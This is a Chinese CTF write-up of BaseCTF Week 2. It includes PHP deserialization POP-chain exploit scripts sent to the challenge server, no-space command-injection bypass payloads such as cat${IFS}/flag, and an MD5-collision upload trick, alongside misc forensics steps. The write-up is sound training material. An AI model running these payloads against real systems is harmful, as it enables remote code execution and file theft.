BaseCTF Week2

news2024/11/24 9:26:38

Week2

Web

[Week2] 一起吃豆豆

[Week2] 你听不到我的声音

无回显RCE
参考博客:

  • BMZCTF:shell_exec_ctf exec(command:“ls >> 1.txt”)-CSDN博客
  • RCE绕过之无回显_ctf无回显rce-CSDN博客


[Week2] ez_ser

PHP反序列化。
参考博客:[https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/](https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/)
编写EXP脚本:

<?php
  // highlight_file(__FILE__);
  // error_reporting(0);

  class re
{
  public $chu0;
public function __toString()            //  在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况 
  {
    if (!isset($this->chu0)) {
      return "I can not believes!";
    }
    $this->chu0->$nononono;
  }
}

class web
{
  public $kw;
  public $dt;

  public function __wakeup()          //   创建对象时自动调用__wakeup()函数
  {
    echo "lalalla" . $this->kw;
  }

  public function __destruct()        //对象所在的函数已调用完毕),系统自动执行析构函数
  {
    echo "ALL Done!";
  }
}

class pwn
{
  public $dusk;
  public $over;

  public function __get($name)            //  读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
  {
    if ($this->dusk != "gods") {
      echo "什么,你竟敢不认可?";
    }
    $this->over->getflag();
  }
}

class Misc
{
  public $nothing;
  public $flag;

  public function getflag()
  {
    eval("system('cat /flag');");
  }
}

class Crypto
{
  public function __wakeup()          //   创建对象时自动调用__wakeup()函数
  {
    echo "happy happy happy!";
  }

  public function getflag()
  {
    echo "you are over!";
  }
}

//反序列化的链子
// Web的__wakeup() -> __toString() -> $nononono -> __get() -> getflag() 

// 构建对象并设置其属性
$re = new re();
$pwn = new pwn();
// $misc = new Misc();
$crypto = new Crypto();
# 触发Web的__wakeup
$web = new web();

# 触发__toString()
$web -> kw = $re;

# 触发__get()
$re -> chu0 = $pwn;


$pwn -> dusk = "gods";
$pwn -> over = new Misc();


// 序列化对象
$payload = urlencode(serialize($web));
echo $payload ."\n";


// 构造 URL,将 Payload 传递给目标网站
$url = "http://challenge.basectf.fun:32538/?ser=" . $payload;


// 发送 GET 请求,触发反序列化漏洞
$response = file_get_contents($url);

// 输出响应
echo $response;

image.png
image.png

代码分析
  1. 类定义:
    • class re: 拥有一个属性chu0,并实现了__toString方法,当对象被当做字符串使用时会调用此方法。如果chu0未被设置,则返回"I can not believes!"。如果chu0被设置,则尝试调用其一个未定义的属性 $nononono 上的方法。
    • class web: 拥有两个属性kwdt,并定义了__wakeup__destruct方法。__wakeup在反序列化时会被调用,输出"lalalla"和kw__destruct在对象销毁时被调用,输出"ALL Done!"。
    • class pwn: 拥有两个属性duskover,并重载了__get方法。当访问未定义的属性时,会调用__get方法。如果dusk不是"gods",输出"什么,你竟敢不认可?"。然后调用over对象的getflag方法。
    • class Misc: 拥有两个属性nothingflag,并定义了getflag方法,运行system('cat /flag');
    • class Crypto: 定义了__wakeupgetflag方法,__wakeup在反序列化时输出"happy happy happy!“,getflag输出"you are over!”。
  2. 反序列化
    • $ser = $_GET['ser'];: 从GET请求中获取序列化的字符串。
    • unserialize($ser);: 反序列化该字符串。
反序列化利用

为了利用反序列化的漏洞来执行Misc类中的getflag方法,我们需要构造一个适当的序列化字符串。我们可以通过以下步骤来构造:

  1. 创建一个pwn类的对象。
  2. 设定其dusk属性为"gods"。
  3. 设定其over属性为一个Misc类的对象。

[Week2] RCEisamazingwithspace

image.png
在这个PHP代码中,用户输入的命令被限制不能包含空格(即空白字符),因为使用了正则表达式 preg_match('/\s/', $cmd) 来检查。如果命令中包含空格字符,则会输出 “Space not allowed in command” 并退出。然后使用 system($cmd) 执行命令。
要绕过这个限制执行一个命令获取flag,你可以利用以下几种方法:

1. 使用URL编码和替代字符

某些符号可以在命令解析时替代空格。以下是一些常见的方法:

使用分号

分号可以用来分隔多个命令:

cmd1;cmd2

你可以用分号来分隔命令,比如:

cat;/flag

然而这样会被直接检测为空格的存在而被阻止。

使用${IFS}变量

在Bash中,${IFS}代表内部字段分隔符,默认是空格、制表符和换行符。你可以利用它来绕过空格检查:

cat${IFS}/flag
2. 使用环境变量

某些情况下,你可以使用环境变量来构造命令,例如:

${PATH:0:1}bin${PATH:0:1}cat${PATH:0:1}flag

这将会解析为 /bin/cat /flag

3. 使用命令替代(不包含空格)

你可以使用命令替代短命令来获取flag。例如:
如果目标服务器允许访问/proc文件系统,你可以尝试以下命令:

cat</flag

这样避免了使用空格。

4. 使用目录路径替代空格

某些情况下,你可以利用路径替代空格。例如:

cat</flag
示例代码

假设你希望通过POST请求发送命令,可以尝试以下PHP重现这种绕过的例子:

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}
system($cmd);
?>

然后你可以使用上面提到的方法,比如:

cat${IFS}/flag

来进行测试。

CURL请求示例

使用 curl 发送POST请求测试:

curl -X POST -d "cmd=cat${IFS}/flag" http://target.url/path/to/script.php

通过这种方法,你可以绕过空格检查并执行命令来获取flag。请注意,根据实际服务器配置和安全措施,可能需要调整策略。务必确保你有合法权限和授权进行这类测试。

[Week2] Happy Birthday

首先检查是否是PDF文件,修改Content-Type
image.png
然后检查两个文件的内容是否一致,一致不给过,不一致才给过
但是内容不一致之后会检查MD5是否一致,MD5一致才给过
众所周知,内容的变化就会导致MD5的变化,所以只能用fastcoll_v1.0.0.5.exe来生成两个内容不一样的文件,但是MD5一样的文件来绕过,参考博客:【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞_fastcoll工具-CSDN博客
然后将这两个文件上传获得flag
image.png

[Week2] Really EZ POP

EXP:

<?php
// highlight_file(__FILE__);

class Sink
{
    private $cmd = 'echo `cat /flag`;';
    public function __toString()        //  在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况 
    {
        eval($this->cmd);
    }
}

class Shark
{
    private $word = 'Hello, World!';
    public function __invoke()      //以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用,CTF中最常见的触发情况就是出现($this–>m1)()这种形式的调用时,被处理后就可以成功调用__invoke()
    {
        echo 'Shark says:' . $this->word;
    }

    public function setWord($word)      // 使用公共方法设置私有属性
    {
        $this->word = $word;
    }
}

class Sea
{
    public $animal;
    public function __get($name)        //  读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
    {
        $sea_ani = $this->animal;
        echo 'In a deep deep sea, there is a ' . $sea_ani();
    }
}

class Nature
{
    public $sea;

    public function __destruct()        //对象所在的函数已调用完毕),系统自动执行析构函数
    {
        echo $this->sea->see;
    }
}

//反序列化的链子
// __destruct() ->  __get() -> __invoke() -> __toString() -> eval($this->cmd)

// 构建对象并设置其属性
$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
// 触发__destruct()
$nature = new Nature();

//触发__get()
$nature -> sea = $sea;

//触发__invoke()
$sea -> animal = $shark;

//触发 __toString()
$shark->setWord($sink); // 通过公共方法设置私有属性

// 修改 cmd 命令



$payload = urlencode(serialize($nature));

echo $payload . "\n";


// 将Payload发送到目标网站
$data = [
    'nature' => $payload,
];

$url = 'http://challenge.basectf.fun:27759/'; // 替换成目标网站的URL
$options = [
    'http' => [
        'method' => 'POST',
        'header' => 'Content-type: application/x-www-form-urlencoded',
        'content' => http_build_query($data),
    ],
];

$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);

// 输出响应
echo $response;


//生成的payload为:O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22echo+%60cat+%2Fflag%60%3B%22%3B%7D%7D%7D%7D
//URL解码为:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"Sharkword";O:4:"Sink":1:{s:9:"Sinkcmd";s:17:"echo+`cat+/flag`;";}}}}

image.png

Misc

[Week2] 前辈什么的最喜欢了

Base64转图片——>PNG宽高一把梭
在线Base64转图片 (lddgo.net)
image.png
image.png
image.png
image.png
image.png

[Week2] 二维码1-街头小广告

image.png

[Week2] 海上又遇了鲨鱼

参考博客:Wireshark使用指南之重组FTP会话,提取FTP传输原始数据_提取每个 ftp-data 包中的数据流,拼接为一个完整文件-CSDN博客
发现flag.zip
image.png
追踪TCP流到19个流,发现压缩包的文件头和内容
image.png
保存原始数据为flag.zip
image.png
提示需要解压密码
image.png
第16个流有密码Ba3eBa3e!@#
image.png
image.png

[Week2] Aura 酱的旅行日记 <图寻擂台>

谷歌识图
image.png
百度百科
image.png

[Week2] 哇!珍德食泥鸭

foremost ikun.gif -o out
获得一个docx文档,移开白色图片获得flag,或者全选,然后复制粘贴到记事本可以看到flag
image.png
image.png

[Week2] Base?!

在线XXencode编码|在线XXencode解码|XX编码|XX解码|XXencode编码原理介绍–查错网 (chacuo.net)
XXencode
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2087128.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

js发送邮件:如何在Node.js实现邮件发送?

js发送邮件如何与服务器配置&#xff1f;如何用nodejs发送邮件&#xff1f; 无论是用于用户注册确认、密码重置还是简单的通知&#xff0c;js发送邮件都是不可或缺的一环。AokSend将详细介绍如何在Node.js环境中实现这一功能&#xff0c;确保你能够轻松掌握js发送邮件的技巧。…

Android APK打包脚本

build.gradle版本 同目录创建config.gradle文件写入需要的信息入 config.gradle文件内容 ext { /*** 自定义APP运行环境* dev: 开发* test: 测试* pro: 生产*/ env "pro" /*** 动态参数配置&#xff0c;根据自己需要添加参数* APP_ID: 包名* VERSION_CODE: 版本号…

【Ubuntu20.04】配置深度学习环境

参考 Ubuntu20.04配置深度学习环境&#xff08;全网最细最全&#xff09; NVIDIA显卡驱动安装安装CUDA 通过终端nvidia-smi查看自己能安装的最高CUDA版本&#xff0c;在官方网址下载需要的版本。安装cuDNN 在官方网址选择适配于自己安装的CUDA版本的cuDNN安装Anaconda &#x…

Logrus IT的质量评估门户如何提高游戏本地化质量:案例研究

确保高质量的游戏本地化对于全球成功至关重要&#xff0c;特别是对于玩家在设置和游戏许可证上投入巨资的AAA和AA游戏。这些球员往往要求苛刻&#xff0c;一丝不苟。尽管客户公司通过严格控制配音人才的选拔、录音质量等&#xff0c;尽最大努力在所有语言中保持高标准&#xff…

Superset 连接elasticsearch

官方文档 https://superset.apache.org/docs/databases/elasticsearch/ 安装elasticsearch-dbapi库 pip install elasticsearch-dbapi 安装成功后 有账号密码填入&#xff1a; elasticsearchhttp://{user}:{password}{host}:9200/

时序分解预测|基于变分模态分解VMD双向长短期记忆网络BiLSTM的单变量时间序列预测Matalb程序VMD-BiLSTM

时序分解预测|基于变分模态分解VMD双向长短期记忆网络BiLSTM的单变量时间序列预测Matalb程序VMD-BiLSTM 文章目录 前言时序分解预测|基于变分模态分解VMD双向长短期记忆网络BiLSTM的单变量时间序列预测Matalb程序VMD-BiLSTM 一、VMD-BiLSTM模型VMD-BiLSTM模型详细原理和流程1. …

顺序表和链表知识点

1 顺序表 顺序表是指用一段物理地址连续的空间去存储数据的线性结构。 顺序表有两种&#xff1a;静态顺序表&#xff0c;动态顺序表。 1.1 静态顺序表结构体定义 typedef int ElemDataSL;typedef struct SequeList {ElemDataSL arr[100];int size; }SL; 静态顺序表在创建结构体…

c++11的学习

1.初始化列表 在C98中&#xff0c;标准允许使用花括号{}对数组或者结构体元素进行统一的列表初始值设定。 struct Fun {int x;int y; }; struct Date {Date(int _year, int _month, int _day):year( _year),month(_month),day(_day){}int year 2005;int month 01;int day …

【unity实战】Cinemachine虚拟相机+Character Controller实现俯视角、第三人称角色控制,复制粘贴即用

最终效果 文章目录 最终效果一、前言二、Character Controller参数介绍三、添加虚拟相机四、2.5D俯视角人物操作五、自带重力的SimpleMove 移动六、第三人称角色控制1、移动2、添加重力3、 加地面检测&#xff0c;限制在地面重力不要累加3.1、自定义球形区域检测3.2、使用isGro…

MMGPL: 基于图提示学习的多模态医学数据分析 文献速递-大模型与多模态诊断阿尔茨海默症与帕金森疾病应用

Title 题目 MMGPL: Multimodal Medical Data Analysis with Graph Prompt Learning MMGPL: 基于图提示学习的多模态医学数据分析 01 文献速递介绍 神经系统疾病&#xff0c;包括自闭症谱系障碍&#xff08;ASD&#xff09;&#xff08;Lord 等&#xff0c;2018&#xff09…

Socket【网络】

文章目录 源端口号和目的端口号端口号&&进程pid TCP协议和UDP协议网络字节序socket 接口sockaddrsocket代码 源端口号和目的端口号 端口号&#xff1a; 端口号是传输层协议的内容。端口号是一个2字节16位的整数。端口号用来标识一个进程&#xff0c;告诉操作系统&…

【SpringCloud应用框架】GateWay网关

Spring Cloud Alibaba 之初识GateWay网关 文章目录 一、网关介绍二、网关对比三、GateWay基本概念&#xff1a;执行流程&#xff1a; 总结 一、网关介绍 在微服务架构中&#xff0c;一个系统会被拆分为多个微服务。如果没有网关存在&#xff0c;我们只能在客户端记录梅哥为服务…

Windows下创建FTP服务器,实现文件共享

版权归作者所有&#xff0c;如有转发&#xff0c;请注明文章出处&#xff1a;https://cyrus-studio.github.io/blog/ 创建FTP服务器 在【启用和关闭 Windows 功能】中选中【FTP服务】【IIS管理控制台】 应用更改完成后&#xff0c;重启电脑。 执行 ipconfig 命令查看当前电脑…

LeetCode刷题:3.无重复字符的最长子串

问题&#xff1a;首先分析问题得出需求 1.要求得到一个唯一最长子串的序列的长度。 子串&#xff1a;依据其形式是拥有一段长度的&#xff0c;所以考虑滑动窗口 唯一&#xff1a;考虑使用HashSet 需求描述&#xff1a;要求得到滑动窗口的大小&#xff0c;也就是左右指针的距离&…

STC89C52 串口浅谈

文章目录 1. 串口1.1 串口概述1.2 串口相关概念1.3 UART1.4 STC89C52串口1.4.1 串口相关寄存器1.4.2 串口模式图 1.5 串口配置简单代码示例1.5.1 UART串口初始化1.5.2 串口中断函数模板 1. 串口 1.1 串口概述 串口&#xff08;serial&#xff09;是一种通讯接口&#xff0c;可…

如何在Mac电脑上本地部署Stable Diffusion:详细教程(webUI)

Stable Diffusion是一款强大的AI生成图像模型&#xff0c;它可以基于文本描述生成高质量的图像。对于想要在本地运行此模型的用户来说&#xff0c;使用Mac电脑部署Stable Diffusion是一个非常吸引人的选择&#xff0c;特别是对于M1或M2芯片的用户。本文将详细介绍如何在Mac上本…

【图像去噪】论文精读:Spatial-Adaptive Network for Single Image Denoising(SADNet)

请先看【专栏介绍文章】&#xff1a;【图像去噪&#xff08;Image Denoising&#xff09;】关于【图像去噪】专栏的相关说明&#xff0c;包含适配人群、专栏简介、专栏亮点、阅读方法、定价理由、品质承诺、关于更新、去噪概述、文章目录、资料汇总、问题汇总&#xff08;更新中…

数据结构(邓俊辉)学习笔记】串 15——BM_GS算法:综合性能

1.BM之性能 接下来&#xff0c;针对已经综合了 bc 和 gs 两种策略的 BM 算法&#xff0c;标定它对应的复杂度&#xff0c;并将这种算法与此前的 KMP 以及蛮力算法在性能上做一个综合的对比分析。 首先是 BM 算法本身的性能。 在空间方面&#xff0c;除了模式串和文本串本身&a…

Qt:玩转QPainter序列十

前言 最后的一个解读QPainter源码的系列&#xff0c;剩下的源码全部都是内联函数&#xff0c;自己看看就好。 正文 渲染相关 void setRenderHint(RenderHint hint, bool on true); 功能: 启用或禁用特定的渲染提示。参数: hint&#xff1a;指定要设置的渲染提示&#xff0c;…

基于Leaflet Legend的图例数据筛选实践-以某市教培时空分布为例

目录 前言 一、关于Leaflet.Legend组件 1、Legend组件的主要参数 2、相关参数 二、Legend图例可视化控制 1、违规教培信息的管理 2、违规培训信息时空可视化及图例渲染控制 3、成果展示 三、总结 前言 在很多的地理时空分析系统中&#xff0c;我们经常会遇到一些需求。…